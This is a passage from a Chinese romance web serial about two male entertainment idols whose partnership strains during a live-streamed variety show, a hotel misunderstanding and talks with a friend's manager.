商璘给他做三明治,他说:“以后小璘哥肯定会天天给嫂子做三明治吃吧,好羡慕。”
商璘收拾他行李,他说:“以后这个衣帽间应该会给嫂子用吧,好幸福。”
商璘拉着行李箱出门,他说:“以后小璘哥应该会改密码吧,换成嫂子的生日之类的,还会把我的指纹删掉,好难过。”
“……”商璘忍无可忍,“第一,我没时间天天给人做早饭,每天吃三明治不会腻吗?第二,我不会让我对象睡客卧。第三,你要是再这样阴阳怪气我现在就把你指纹删掉。”
许兰因终于老实了,一个人拖着两个行李箱进电梯,只是全程面壁,不看商璘。
商璘也没搭理他。在去录制地的路上他抽空了解了下这档节目,就如同苏纭所说,是个挺简单轻松的生活类综艺,给的台本也没什么内容。
商璘本想退出搜索页,却不小心点到了关联词条,周鹤的百科信息忽然跳了出来。平心而论,周鹤长得很好看,是时下很流行的文静、秀丽又有点温柔的相貌,或许是因为还很年轻,只看照片都觉得很有生命力。
“哥?”小唐扭头。
商璘回神,关掉平板,“怎么了?”
“我们到地方了。”小唐说:“下车和节目组还有嘉宾们打个招呼吧。”
于是很快,刚刚百科里的人出现在了商璘面前。
周鹤毫无意外是个很有礼貌的人,即便之前被商璘的粉丝骂的那么惨也能不带个人情绪地跟商璘打招呼:“商老师上午好。”
“你好。”商璘道:“你来这么早?”
“我是晚辈嘛。”周鹤弯起眼睛,“还是想要给前辈们留下点好印象的。”
商璘心想许兰因要是有人家一半懂礼貌就好了。
其他的嘉宾商璘大多认识,也就是简单打了下招呼,虽然大家都挺好奇,但也没人凑上来问商璘和许兰因到底怎么回事。不过看许兰因一直在跟周鹤说话,反而跟商璘的交流几乎没有,两人之间应该确实是出了点问题。
即便是生活类慢综艺,也要有看点才行,下午节目组就给了分组任务,所有嘉宾要分成四组竞技,因为全看个人意愿,所以大家都是跟关系比较好的熟人组队。
许兰因显然还在生商璘的气,但听到分组,还是走了过来,杵在商璘旁边等商璘主动开口。
廖筌是圈里的老前辈,脾气古怪,人缘不太好,大家都不太想跟他一起,一时之间被晾在了旁边,导演问到廖筌的队友时,他刚要说自己一个人得了,忽然商璘道:“我跟廖老师一组吧。”
霎时间所有人都看了过来,有点懵。
商璘竟然不跟许兰因一起?
“其实不用考虑我……”廖筌道:“我自己一个人就行。”
“他们之后还有对抗类的游戏。”商璘说:“让廖老师一个人一队也太不公平了。”
工作人员纷纷在镜头外给商璘竖大拇指,他们这节目是慢节奏治愈类,有人落单不符合节目宗旨,但他们又不能强迫别的嘉宾跟廖筌一队,商璘可算是解了他们的燃眉之急。
“……小璘哥?”许兰因拉住商璘的衣角,“你又这样。”
商璘将他的手指拉开,问:“我又怎样?”
“如果这时候我不同意,又是我当那个坏人。”他嗓音有点沙哑,飞扬的眉眼也耷拉下去,“我也很需要人陪啊。”
周鹤举手道:“我跟兰因一组好了,我玩游戏不太行,希望不会拖你的后腿。”
他也是真有野心,前几天才被骂得微博号都不敢登,现在却还是不肯放过这泼天的流量。但在娱乐圈,有野心一向是好事,难怪伏越泽肯花力气捧他。
“好好玩。”商璘说:“我们先走了。”
他走出去好远,还能听见周鹤的声音:“你应该蛮擅长运动的吧?我听说待会儿很多游戏都是体力活……”
廖筌苦笑:“你真没必要这么做,你看兰因多伤心啊。”
“他不会伤心太久的。”商璘说:“他应该跟同龄人多在一起玩玩儿。”
廖筌:“说得你好像很大年纪了似的。”
“我比他大七岁。”商璘笑了笑,“确实已经不年轻了。”
说到这里,他蓦然想起很久以前,他们去做体检,量身高的时候许兰因就嘟嘟囔囔:“我不想再长高了。”
小唐觉得奇怪,问他为什么。毕竟男明星都很看重身高,一七八必定要说一八零,一八零就要报一八二。
许兰因那时候歪在商璘身上,笑眯眯地说:“小璘哥比我大七岁,我比他高七公分就好了。”
或许就连老天爷都偏爱许兰因,他的身高真就停在了一八九没再动过。
商璘没什么胜负心,廖筌也没有,两人做游戏的时候一路划水,倒是许兰因和周鹤配合默契,游戏全是第一名,就连节目组都忍不住提醒商璘:“商老师,你们要是再倒数,晚饭都没得吃了。”
最后一场游戏是水上版接力赛,两两比拼,胜者再进行下一轮比赛,直到角逐出最后的赢家。廖筌都六十多岁的人了,当然不可能让他去
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跟小年轻比这个,只能靠商璘挑大梁。
“你别有压力。”廖筌给商璘打气,“我带了泡面,晚上没饭吃也不要紧的。”
商璘还没说话,周鹤忽然道:“我记得商老师游泳很厉害的,高中拿过奖牌呢。”
“是吗?”廖筌惊喜道:“你这么厉害?”
“很久没游了。”商璘实话实说,“现在就是非常业余的水平。”
话是这么说,他的业余显然跟别人的业余不一样,就算有廖筌这个拖油瓶,他们队还是赢了,最后一组,难免对上许兰因和周鹤。
周鹤笑着说:“商老师手下留情吧?兰因刚跟我说真的很想要连胜。”
商璘:“我也很想吃晚饭。”
“看来这招没用。”周鹤说:“那就全力以赴好了。”
许兰因:“赛前垃圾话环节为什么不邀请我。”
“邀请你这段就不能播了。”周鹤眨眨眼睛,“那么多观众看着呢,收敛点吧。”
许兰因啧了声,琥珀色的双眸转向商璘,“你求求我,我就让你赢。”
“……”商璘微笑:“你游泳是我教的,谁输谁赢真不一定。”
“是吗。”许兰因逼近商璘,抱臂打量他:“那你之前输给我是在哄我吗?”
商璘后腰抵在了栏杆上,退无可退,他把毛巾搭在头上,伸出手指戳着许兰因手臂,让他保持距离,“你可以当做是。”
许兰因:“……”
商璘说:“你队友还在等你,不过去吗。”
许兰因一笑,退开两步,“原来是这样啊,那待会儿就好好比一场吧。”
看着他那笑,商璘觉得不太对劲,但也来不及深想,工作人员已经让他们准备了。
入水之后,一切正常,商璘觉得自己可能想多了,一路以来,许兰因和周鹤是真有共同话题,相谈甚欢,心情看起来也不错,录制都要结束了也没搞什么幺蛾子,还算乖巧。
以前他也和许兰因比过几次,那时他觉得许兰因年少气盛,承受不了打击,宠着他让着他,所以大多时候都是以输做结尾。既然要回归到正常的朋友关系,那就不用让着他了。
廖筌喜上眉梢:“要是商璘能一直保持这个速度,我们的晚饭就稳了。许兰因这小年轻也真是的,赢了那么多把也不知道让让他哥。”
周鹤坐在池子边上,看着泳道里飞扬的浪花,“商老师游泳真的很厉害,不需要人让他。”
“那倒是……”
眼看着就要拿到池壁上的漂浮球,商璘瞥了眼旁边的泳道,许兰因只落后他一点点,但……
商璘弯起唇角,比许兰因提前零点几秒伸手,一把抓住漂浮球拖向自己,与此同时许兰因也伸出手,但他根本没管自己那条泳道的漂浮球,而是抓住了商璘肩膀,用力将他往下一摁——
水花四溅。
商璘被按下了池底,因为太措不及防,他甚至没来得及屏息,差点呛水时有人吻住了他的双唇。
许兰因将商璘压在身下,抓着他后脑的头发,吻他的唇,眼睛却死死盯着商璘,仿佛要在水下燃出一簇恐怖的火,就此将商璘烧成一捧灰烬,再揉进自己的骨血中,实现永恒的相守。
9. 第 9 章
岸上的人都惊呆了,导演赶紧让救生员来查看情况,还以为是游着游着脚抽筋了导致的溺水。
谁也没想到许兰因能疯成这样,上节目的时候直接把人摁进水里强吻。
商璘水性很好,即便是在水底也能听见岸上的人脚步匆忙逼近,嘈杂的人声像是池水似的要将人淹没。就算是这种情况许兰因竟然都没放手,仍旧固执地咬着他唇,气泡不停从两人唇齿间溢出,他们不得不与彼此分享稀薄的氧气。
商璘抓住许兰因的衣领将他往后扯,许兰因却像是发了狂的疯狗,不肯退让分毫,商璘眯起眼睛,也来了气,抬腿一膝盖顶在许兰因腰腹间,趁势抓着他的头发将人拎出水面砸在池壁上,许兰因看他生气,又要装委屈,商璘贴近他,几乎是咬着这一字一句在他耳边道:“许兰因,你这个傻逼,知不知道这个综艺是直播的!?”
许兰因:“……啊?”
……
小唐颤颤巍巍给苏纭倒了杯茶,许兰因站在窗边吹口哨左看右看,商璘坐在沙发上双手捂着脸仿佛下一秒就要升天,苏纭接过茶杯,和颜悦色地说:“唐啊,你先出去,把门一起带上哈。”
“好、好的。”小唐不怕苏纭发火,却怕她这幅亲切的样子,看来今天这屋里是必要要死一个了,小唐毫不犹豫拔腿开溜。
等小唐走了,苏纭才猛然拍桌子:“许、兰、因!”
许兰因:“我怎么知道节目组那些神经病连水底下都安装了摄像头?”
“你还有理了??”
“我本来就……”
商璘开口:“许兰因,少说两句你会死吗。”
许兰因撇嘴,又去看窗外光秃秃的风景了。
苏纭将平板放他面前,“你自己看看!之前直播的事情都还没处理好,你现在又给我来个大的……你知道你在水底下亲你哥的画面被平台判定为□□色情直接把直播间封了吗!?”
许兰因无语:“这有什么□□色情的。”
苏纭冷冷:“泳池,泳衣,湿身,亲吻,这些关键词都他爹的够拍一部av了!”
许兰因摸摸鼻子,终于没话讲了。
小唐蹲在门外,上了微博,果然又是一阵血雨腥风。
【前几天盛传要解绑,今天两位又在水下激吻何意味?】
【唯粉蹦跶了没多久天就塌了。】
【就这样还硬说他们是兄弟?这综艺可没要求嘉宾亲亲。】
【不是,没人说xly抓着sl在水底下亲的样子真的很A啊?我都能脑补出一部强制爱了,下部剧能不能就拍这个??】
【确实蛮欲,回家的地铁上我都要调低屏幕亮度才敢看……】
【你们这些人发什么癫,明摆着是xly这个神经病强迫璘哥吧?没看见璘哥一直在拒绝吗?】
【就是因为一直拒绝才好吃啊?跟你们这些唯粉说不明白。】
【这波炒作真是厉害哈,DS的直播伤透了cp粉的心,两位顶流都掉了不少粉,公司也是狗急跳墙,竟然用这招来留人。本来就是炒作出来的感情好,前有许兰因公开说关系好的朋友很多,后有商璘直接拒绝组队,就这你们还能磕的下去?】
【禾光本来就是炒作大户,两位顶流有个鬼的实绩,全是粉丝吹出来的,吃cp饭迟早要被cp反噬,等着看吧。】
【真挺能豁出去,演的也确实不错,谁给出的主意啊,营销天才来着。】
小唐看得火大,噼里啪啦打字:
不爱吃糖:【他们关系本来就很好啊,用得着炒作?】
不爱吃糖:【两位没有实绩您是瞎了吗?多出去走走看看我产品有多少地广吧您。那么多奢牌代言品牌方都是傻子哈?】
不爱吃糖:【今天这事儿根本就是意外,许兰因不知道水下也有摄像头,少在这里阴谋论!】
但她一个人的发言何其渺小,商璘和许兰因,尤其是许兰因,常年处在风口浪尖上,死忠粉多,黑子也多,小唐一开口就被群起而攻之骂了个狗血淋头,一气之下她直接关掉手机,贴在门板上想要听听里面的动静,结果耳朵刚贴上去,门就从里面打开了。
“小唐?”商璘轻声道:“你苏姐这会儿正在气头上,让她一个人待会儿,你自己去玩儿吧。”
“那这件事要怎么处理啊?”小唐问。
商璘刚要说话,忽然许兰因冲出来,抓着商璘就走,商璘只来得及说声“你别管”就被许兰因带走了。
小唐早习惯了这场景,撇撇嘴,一转头看见一张笑盈盈的脸。
周鹤抬抬下巴:“他们吵架了?”
小唐是坚定的CP党,很烦周鹤,“……干嘛?”
“导演让我来问问明天可不可以继续拍摄。”周鹤将一杯咖啡放进她手里,“请你喝的,辛苦了。”
“我不……”
周鹤摆摆手,“我给大家都买了,不是刻意想要收买你,放心喝吧。”
小唐眨眨眼,觉得这人真是好奇怪,“可以继续拍,我会去跟导演说的。”
“麻烦了。”周鹤点点头,又走了,好像真是路过来送杯咖啡的。
但小唐又觉得奇怪——来问能不能继续拍摄是节目组的事情,就算周鹤再平易近人,节目组应该也不至于使唤嘉宾吧?
……
许兰因将商璘拽到了自己房间门外,要进去时一直没反抗的商璘却忽然道:“有什么话就在这里说。”
许兰因:“进去我会吃了你?”
商璘:“我以为我今天对你已经很宽容了。你非要找抽是吗。”
“你一直这个死样子,还不如抽我一顿。”许兰因抓住商璘的手往自己脸上扇,“来啊。”
商璘还是没表情,也没动作。
许兰因咬紧了牙。
“你现在这样。”商璘说:“是为什么。”
“明明是你因为那个忽然出现的女朋友跟我划清界限,现在反倒搞得像是我在无理取闹。”许兰因眼圈红了,“在你心里,她比我更重要是吗?”
商璘垂下眼睫,“许兰因,爱人和朋友不可以用来比较,所以也就无从谈起谁更重要。”
“但在我心里你就是比我女朋友重要!”许兰因说。
商璘停顿良久,才道:“兰因,我们终究会分开的。”
能一起工作四年,已经很不容易。多的是合作一段时间反响不好就直接拆的。
“——所以你推了那个剧本,把角色让给周鹤?”许兰因冷笑,“商璘,我前脚才跟苏姐说答应出演,你后脚就推了,你可真他妈的为
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我着想啊。”
商璘僵了下,没想到许兰因现在就知道了。他明明……
“你明明让苏纭先瞒着我是吧?”许兰因道:“真可惜,她跟伏越泽打电话的时候我听见了。你让我接这个本子,就是为了帮着伏越泽一起骗我!”
商璘愣住。他以为许兰因不会答应的,毕竟已经拖了很久。加之公司也想要他们解绑,所以他就先表示了拒绝。没想到伏越泽会临时安排周鹤顶上。
这件事他真是完全不知情。
“小璘哥。”许兰因抱住他的腰,头埋进他颈窝,泪水沾湿了商璘颈侧的皮肤,哽咽道:“你不能这么对我。”
“我不知道小伏总的安排。”商璘道:“我没想帮着谁骗你。是我自己的原因。”
良久的沉默。
许兰因慢慢松开商璘,退后两步,唇角不受控制地抽搐了两下,“是因为你女朋友?”
“好啊。”许兰因说:“空出时间是要准备婚礼吗?……哈哈,你们什么时候结婚,要不要给我发请柬?”
商璘说:“如果你愿意来的话。”
许兰因手背青筋绷紧,明显在压抑自己的愤怒。甚至他自己都不知道这愤怒从何而来,只觉汹涌得像是一场滔天的巨浪,让他大脑发麻,眼前发花,身体都在控制不住地发抖。
“进去吧。”商璘说:“好好休息。”
他将许兰因推进房间,而后关上房门,隔绝了许兰因那双通红的、流泪的眼睛。
商璘朝阳光明媚的室外走去,明明暖阳临空,他却觉得一阵刺骨的冷。
“或许是因为倒春寒吧。”商璘喃喃。
接下来的录制没再出什么意外,或者说,许兰因跟商璘根本就没有交流。原本嚷嚷着水下吻一定是剧本的营销号也不蹦跶了。如果真是剧本,之后不赶紧卖一波挽留粉丝反而形同陌路,辞职在家研究一百年也研究不出来是什么脑回路。
综艺录制结束,商璘和许兰因是分开走的。
这几天下来许兰因和周鹤相处得不错,两人约着要出去玩,周鹤倒是也邀请了商璘,商璘礼貌拒绝了,他有别的事要处理。
他赶到酒吧的时候是下午三点。这地方比起许兰因常去的那家要清净许多,主唱坐在台上伴着吉他的弦音用沙哑的声音唱一首老歌,光线昏暗,难分日月。
商璘在吧台边找到了尹佳阳,桌上散落了一堆空酒罐,他本人则醉醺醺地趴在台子上,无声无息,像是死了一样。
酒保染了一头非常不良的黄毛,面相也挺凶神恶煞,倒是蛮好心:“璘哥你终于来了,我劝了好几次,佳阳都不听。”
商璘点点头让他去忙,他在尹佳阳旁边坐下,忽然发现台子上除了空酒罐,还有别的东西。
还没看清,尹佳阳沙哑的声音已经响起:“是曾翰给我的婚礼请柬。”
“……”商璘扔到一边,看着尹佳阳的脸,“你喝了多少?”
“没多少。”尹佳阳靠在他肩上,“其实我没醉。”
商璘说:“不要去。”
“嗯……我当然不会去。”尹佳阳仰起头笑,又忽然抱住商璘,哽咽道:“阿璘,你千万……千万不要跟我一样。”
商璘拍拍他的背,嗯了一声。
“我不会。”
10. 第 10 章
“真的吗?”尹佳阳眨眨眼睛,似乎想要看清楚商璘脸上的表情,但他实在是喝了太多酒,本就头晕眼花,酒吧为了营造氛围感灯光又打得很暗,以至于哪怕再努力,也没看清商璘眸中的情绪。
他靠在商璘肩头,轻声说:“要是你真有这么坚定,许兰因第一次给你介绍他的女朋友时就已经远离他了不是吗?何必拖到现在。”
“即便是现在,你还在对他心软。”
商璘没说话。
酒保问他:“璘哥,来一杯吗?”
两年前看秀的时候许兰因不知道因为什么事情得罪了am集团的少爷,对方当即放出狠话要让许兰因在娱乐圈混不下去,彻底封杀他,商璘得知后亲自登门致歉,当时少爷们正在开趴,他陪着喝了一圈,最后是被救护车拉走的。胃出血住了三天院,那次后商璘基本就不碰酒了。
所以这次他也婉言谢绝,等酒保去忙了:“如果能不喜欢就不喜欢,那就不是真的喜欢。”
尹佳阳说:“那你还劝我。”
“因为曾翰是个人渣。”商璘皱起眉,“他当然有不回应你喜欢的权利,但他不应该放任自己的女朋友戏弄和羞辱你。”
“……”
曾翰和自己的圈外女友频频上新闻,虽然两人还没官宣解绑,但大家都已经默认了这一事实。商璘也是今天早上才知道,昨天曾翰的女友以曾翰的名义将尹佳阳约了出去,具体说了什么话做了什么事尹佳阳没说,但从他回来后的表现也不难猜出来。
“好吧,我不否认。”尹佳阳勉强笑笑,“或许我跟他的粉丝一样,爱的都是他的人设吧。但是阿璘,许兰因就是个好人吗?”
他偏头,认真看着商璘,“许兰因就值得你爱吗?”
商璘知道尹佳阳一直不太喜欢许兰因,两人虽然看在商璘的面子上一直保持一种如履薄冰的和平,但只需要一点点变量,就能掐得头破血流。
商璘忽然想起那个平凡普通的午后来。
他和许兰因有个广告拍摄,拍完后回公司的路上,许兰因让小唐先走了,自己开车带商璘去了家餐厅,到了地方才知道,许兰因是要给他介绍自己新交的女朋友。
商璘至今都记得那女孩子蛮漂亮,是个网红,讲话也温温柔柔的,还是他的粉丝。席间她一直在试图活跃气氛,但商璘整个人都处于恍惚之中,根本不知道她在说什么。
那时候商璘才刚隐隐约约察觉到自己的心意。忐忑、焦虑、害怕……本就有无数负面情绪欺压而上,这顿饭便犹如一桶汽油,引燃了燎原之火。
事后许兰因跟商璘道歉,说自己的决定太鲁莽,冒犯到他了。商璘看着他纯澈的眼睛,喉头压着的话一句也说不出来,只好搪塞自己那天只是身体不太舒服。
在心理医生的帮助下,商璘尝试了第一次戒断。
他向公司申请了一个月的假期,独自出国旅行,即便许兰因撒泼打滚扬言要在公司门口上吊,也没同意带着他。
在国外那一个月,商璘没有理会许兰因的任何联络。回国的时候尹佳阳来给他接机,吐槽说短短一个月期间许兰因竟然换了三个女朋友。也不知道是不是因为这些女孩子都是吃自媒体这碗饭的,哪怕平均下来交往时间也就十天,还是得到了泼天的流量,混得风生水起。
许兰因的交往对象究竟有多少个,商璘并不太清楚,只要有人告白就能谈,好似想从那些对他热烈告白的人眼睛中找到什么,却又在找寻无果后果断分手。
商璘曾经怀着隐秘的私心教导他:“你这样不对。如果不喜欢对方,就不要答应交往。”
许兰因趴在沙发上,头发乱糟糟,翻转过来看着沙发靠背后的商璘:“可是她们喜欢我啊。”
商璘说:“……很多人是因为你的名气。”
“那也是我。”许兰因这样回答:“我为什么要拒绝?万一是真的爱我呢。”
商璘:“你不爱她们吗?”
许兰因乐不可支:“小璘哥,我哪儿爱得过来啊。”
“……”
商璘就没再跟他谈过这个话题。那会儿的许兰因也就二十出头,大学都没毕业,说到底还是个没长大的小孩子。或许他总会在那么多热烈告白中找到真正爱他的人,但在那之前,商璘觉得,自己起码还能在他身边多留一段时间。
于是第一次戒断宣告失败。
一个人是否值得爱,在爱上他那一刻,心脏就已经给出了答案。
尹佳阳又要去端酒,商璘抓住他的手,“好了,别喝了。”
“我又没醉,可以再喝的。”尹佳阳浑身没力气,几乎整个人都挂在商璘身上,拉长了声音撒娇。
商璘却铁石心肠,将他的手按在台面上,说:“不行。”
尹佳阳忽然抱住商璘的脖子,看着他在暗淡灯光里格外立体的侧脸,嘟囔:“阿璘,要是我喜欢的人是你就好了。”
他将头埋进商璘颈窝,身体轻微颤抖:“如果我喜欢的人是你,你也会温柔地拒绝我,而不是让我这么难过。”
商璘迟疑了一下,抱住他,轻轻拍他的背,“如果能让你不这么难过的话,我可以当你男朋友。”
“……”尹佳阳无语:“亲爱的,你这么好说话,很容易被骗的。”
“我这人看男人的眼光真的很差啊。”尹佳阳摇头晃脑,在商璘怀里乱扭,“而且也很贱。都这样了,我还想他。”
商璘没有责怪尹佳阳。
他和曾翰共事了六年,事业上升期几乎形影不离,太近的距离是促生感情的绝佳温床,在尹佳阳没有告白前,曾翰确实算是个不错的朋友。
“阿璘。”尹佳阳说:“要不然我帮帮你吧。”
“什么……”
尹佳阳根本没等商璘回答,倾身在商璘脖颈上吮出一枚吻痕,他退后一点欣赏,拍拍商璘的肩膀,“许兰因又交女朋友又跟周鹤传绯闻,凭什么只有你难受,不许遮着,回去给他看。”
商璘摸摸脖子,简直不能理解尹佳阳的脑回路,哭笑不得:“这能帮我什么?”
“他要是也喜欢你,肯定会吃醋咯。”尹佳阳又偷偷摸摸去拿酒杯,商璘一巴掌打在他手背上,“不准喝。”
他起身把尹佳阳架起来,“我送你回家。”
尹佳阳比商璘矮一些,人又单薄,商璘半扶半抱带着他往外走,倒也不是很费力。就是尹佳阳一直叽里咕噜的很烦:“我不回家……不要回家。”
商璘:“不回家你睡大街吗?”
尹佳阳呜呜呜地哭:“家里全是曾翰的痕迹,看见他我就想吐。”
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商璘:“你想吐是酒喝多了。”
“呜呜呜呜我不要回家。”
跟一个醉鬼是没法讲道理的,商璘只好说:“在酒店给你开间房,不回家。”
尹佳阳终于不闹腾了。
处于角落的卡座,鸡尾酒杯里的冰块都已经化了,也没人喝一口。
周鹤撑着自己的下颌饶有兴致:“商老师跟尹老师原来是这种关系吗?有点惊讶。”
“他们只是朋友。”许兰因扯了下唇角,“不是你想的那样。”
“诶。”周鹤笑着说:“我们也是朋友啊,你难道会抱着我亲吗?”
“……”
“本来是觉得这家的调酒师技术还不错,才请你来的。没想到还能看见这种精彩画面。”周鹤道:“商老师人这么好,尹老师喜欢他也很正常吧。”
“……”
许兰因手指攥紧,青筋隆起,像是要撑破纤薄的皮肤。他蓦然起身,“忽然想起还有点事,下次我请你。”
话音还没落地人就已经大步流星地离开了,还越走越快,越走越快,最后几乎是跑着消失在酒吧门口。
周鹤喝了口冰凉的酒,喃喃说:“真是好没礼貌啊。”
……
许兰因跟在商璘的车后面。
自从在地下车库的争吵后,商璘就没再开过许兰因送的那辆车,他物欲很低,不喜欢奢侈品,平时代步的是辆便宜电车,狗仔就算是拍到了估计也会怀疑只是长得像的人,毕竟顶流怎么可能会开这么破的车。
许兰因手指抓着方向盘,神经质地盯着前面,他甚至有种冲动,想要直接撞上去截停商璘,逼问他要带着醉醺醺的尹佳阳去哪里。
所幸商璘并没有开多久,否则许兰因不确定自己是不是真的会这样做。
但看清楚商璘要去的地方后,许兰因脸色变得更难看了。
酒店。
许兰因眼睁睁看着商璘把尹佳阳搀下来,进了酒店。
许兰因深吸口气,跟进去,见商璘在办入住,期间尹佳阳还在乱嚷嚷:“你做我男朋友吧呜呜呜呜……”
商璘一边捂他嘴一边把人往电梯里塞:“我答应你,别叫了。”
酒店大堂的水晶灯光无比璀璨,似乎不容许这片土地有丝毫污秽,要所有人都纤毫毕现。许兰因盯着他们消失的电梯,直到耳边传来前台问询的声音,才回过神。
“……什么?”
前台疑惑道:“这位先生,您一直站在这里,是有什么事吗?”
她眼神好奇,偷偷打量许兰因从帽子里溜出来的粉头发,忍不住问:“您是不是……”
许兰因打断她:“我跟刚那两个人一起的,他们在几号房?我上去找他们。”
商璘用自己证件开的房,前台小姐知道他的身份,许兰因要去找商璘,实在是合情合理,是以她没有丝毫犹豫就帮许兰因刷了电梯:“6104,您直接去就好。”
“多谢。”许兰因压低帽檐,按了关门键。
电梯缓缓上行,许兰因找到6104,门关着,隔音太好,听不见里面的任何声音。
他站在门口沉默了大概两三分钟,而后忽然抬手,疯狂砸门——
“老公,你开门啊,我知道你在里面!”
11. 第 11 章
尹佳阳边唱“再见了妈妈今晚我就要远航”边扇动手臂准备起飞,商璘好不容易把他按在床上用被子裹住,结果门外又有魔音贯耳:“老公,你开门啊,我知道你在里面!”
商璘整个人都惊呆了。
刚刚他还想灭尹佳阳的口,现在才惊觉尹佳阳是何等的善良。起码他只是要去外星远航,门外那位却直接摆出了正房上门捉奸的气魄。
连被尹佳阳抓得乱糟糟的衣服都来不及整理,商璘飞奔到门口。门口的人说:“老公,跟谁开房呢。”
走廊上好几个人打电话的打电话看风景的看风景,好像都很忙,却都悄悄摸摸往这边看,商璘一把将人拽进来,隔绝众人好奇的视线,质问道:“你怎么在这里?”
许兰因看着商璘凌乱的头发,皱巴巴的衣服,明显因为运动而泛着红晕的脖颈,以及脖颈上那枚极其刺眼的吻痕。
他没回答商璘的问题,抬手掐住商璘的颈项,拇指划过那点红痕。
商璘早就已经忘了尹佳阳的恶作剧,只觉得许兰因这动作莫名其妙,一把将人的手打开,“我在问你话,回答。”
“这家酒店写了不准许兰因入住?”许兰因语气很差。
“没有。”商璘道:“但你砸的是我的门。你不是和周鹤玩儿去了?”
顿了顿,“……你俩来这儿开房玩儿?”
“……”许兰因也惊呆了。这人还倒打一耙。
“带人开房的到底是谁?”许兰因没理还要辩三分,更别说现在还占领了道德制高点,他反过来逼问商璘:“难怪之前我跟尹佳阳吵架你总是帮着他,原来你们是这种关系,要是我没来敲门,你们准备在这里干什么?”
商璘一时间不知道该怎么跟许兰因解释,小孩子之间起冲突的时候家长大多会先说自家孩子两句。他并不是在偏帮尹佳阳。
算了,也没有解释的必要。
商璘往墙壁上一靠,看着床上酩酊大醉的尹佳阳,说:“可能是准备送他去星际远航吧。”
许兰因:“?”
商璘拍拍许兰因的脸,“他都醉成这样了,我能对他做什么?我是畜生吗?”
许兰因走过去,想要抽尹佳阳两个耳巴子看他真醉假醉,商璘:“……你抽一个试试。”
许兰因不情不愿收回手。尹佳阳应该是真醉的不轻,不然早就跳起来跟他吵架了。
商璘原以为这就算是误会解开了,结果许兰因又说:“是我想多了。毕竟小璘哥有了喜欢的人,肯定要为她守身如玉嘛。”
商璘差点呛到。
许兰因:“真不能告诉我是谁?”
商璘当做没听见,给尹佳阳的经纪人打电话,说明了情况,又约她见个面。许兰因很不满:“你去见他经纪人干什么?”
“私事。”
许兰因:“难道你在跟尹佳阳的经纪人谈恋爱?人儿子都八岁了。”
“……”商璘说:“出去。”
“你要是告诉我是谁,我就不会乱猜了啊。”
商璘把他推出去,关上门,边看手机边说:“找你朋友玩儿去。我有事先走了。”
许兰因:“你以前回家吃饭都带着我。”
商璘挣开他的手,双手抄进风衣外套的兜里,与许兰因隔了三米远,保持一个礼貌的社交距离,“就算是再好的朋友,也要有自己的私人空间。”
他点了下头,没去看许兰因脸上委屈的表情,径直离开了。
许兰因站在门口,走廊灯光昏暗,雾沉沉的,空气里有高级香薰的气味,混着香烟、食物、酒精和香水的味道,令人几欲作呕。
他叼了支烟进嘴里,打火机按下了几次,最终都没有点燃,只是若有所思看着乳白色的墙壁。
不知过了多久,他意识到其实就算在这里点燃烟,也不会有人皱眉训斥他,最终弯唇笑了下,将那支烟丢进了垃圾桶。
尹佳阳的经纪人叫做郭俐,圈里出了名的雷厉风行,商璘到咖啡馆的时候她已经点好了饮品,“照你的喜好,冰美式。”
商璘说谢谢。
“其实我知道你想要跟我说什么。”郭俐摊开手,“就算我同意,公司也不会同意,他现在人气这么高,公司怎么可能让摇钱树歇着?”
商璘道:“郭姐在鼎诺一直很有话语权,如果是你的提议,鼎诺高层应该会同意吧。”
“我只是一个小小的经纪人而已,哪有那么厉害。”郭俐喝了口咖啡,笑着道:“你也太看得起我……”
“我和王导有些交情。”商璘说:“听说郭姐一直想让手下两个重点培养的艺人进王导
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的组。”
郭俐放下杯子,看着商璘,“王导的人情可不好求。”
“那是我的事。”商璘道:“而且我也不能保证王导就一定用他们,只能争取试镜的机会。”
王导筹备多年的新电影虽然还没开机,但讨论度已经非常高,哪怕是试镜的机会也非常难得,商璘出手确实大方。
“我可以尝试。但让他就此退圈是不可能的,他和公司还有两年的约。”郭俐也没有把话说满,“不过我很好奇……你为什么要为尹佳阳做到这一步?”
商璘沉默了一会儿,才道:“佳阳本来就没什么野心,他干这一行只是因为星探说他合适,他就答应了。其实他根本不适合进娱乐圈。”
情绪敏感,心理脆弱,天真单纯,不管是哪一个特质,在这大染缸里都会很痛苦。尹佳阳这些年帮了很多很多人,但当他被舆论推到风口浪尖上时,为他发声的却寥寥。
曾翰的厌恶、大规模的网暴……都在把尹佳阳逼向悬崖,如果继续顶着压力工作,尹佳阳一定会疯掉。
“他太善良。”郭俐说:“见不得人受委屈。当初曾翰和前搭档闹得很不愉快,几乎就要退圈了,只有佳阳还愿意跟他做搭档。只可惜除了你,也没人真的会感恩。”
“好吧。”郭俐笑了下,“我也不是铁石心肠的人,我会向公司说明他的情况,让他休息一段时间。”
“谢谢郭姐。”
“客气。交易而已。”
“还有件事想请郭姐帮忙。”
郭俐挑眉,“什么?”
商璘道:“今天我约你见面的事情,请不要告诉佳阳。他要是知道了,会有心理负担。”
“难怪你们是朋友呢。”郭俐道:“都这么喜欢做好事不留名。”
“不过……”她敲了敲桌子,“在这个世界上,好人往往是没有好报的。”
商璘坐在椅子上,独自喝完了那杯苦涩的冰美式。手机忽然响了声,他拿起来一看,是苏纭的消息。
【明天上午十点来公司开会,小伏总挺生气的,你做好心理准备。】
商璘将手机倒扣在桌面上,叹了口气。
许兰因在拍摄时那么胡闹,全网直播,声浪巨大,这件事自然不可能善了。
伏越泽要秋后算账了。
12.第 12 章
伏越泽和许兰因之间的关系一直不太好,按照苏纭的说法就是两人可能八字不合,见面就呛呛。也就是因为许兰因是禾光的顶流,换个人早就被小伏总整死了。
毕竟伏越泽从来不是什么好说话的老板。
这些年大家都会有意不让让伏越泽和许兰因独处,避免爆发第三次世界大战,所以十点的会,商璘九点半就到了。
伏越泽穿了件深蓝色细条纹衬衣,鼻梁上架了一副金边眼镜,坐在黑色的真皮转椅上,听秘书汇报工作,神色并不严肃,甚至可以称得上轻松,但新来的小秘书还是战战兢兢,全身绷紧,好像一个字说的不对伏越泽就会吃人。
事实上,伏越泽也确实发难了:“我昨天就说过这部剧禾光不会投资,要是记得没错,你当时也在。现在又来问我一遍,是因为你觉得这部剧会是黑马而我目不识珠,还是因为昨天开会时你在走神?”
秘书冷汗唰唰往下流,“小伏总,我……”
伏越泽在文件上签下自己的名字,温声说:“谁同意让你转正的?叫他下午来见我。”
秘书都要哭了。
商璘曲起指关节敲了敲门板,“小伏总。”
伏越泽抬眸看见他,一顿,对秘书道:“先出去。”
“小伏总,求您别……”
伏越泽皱了下眉,商璘说:“出去吧,下次工作认真点。”
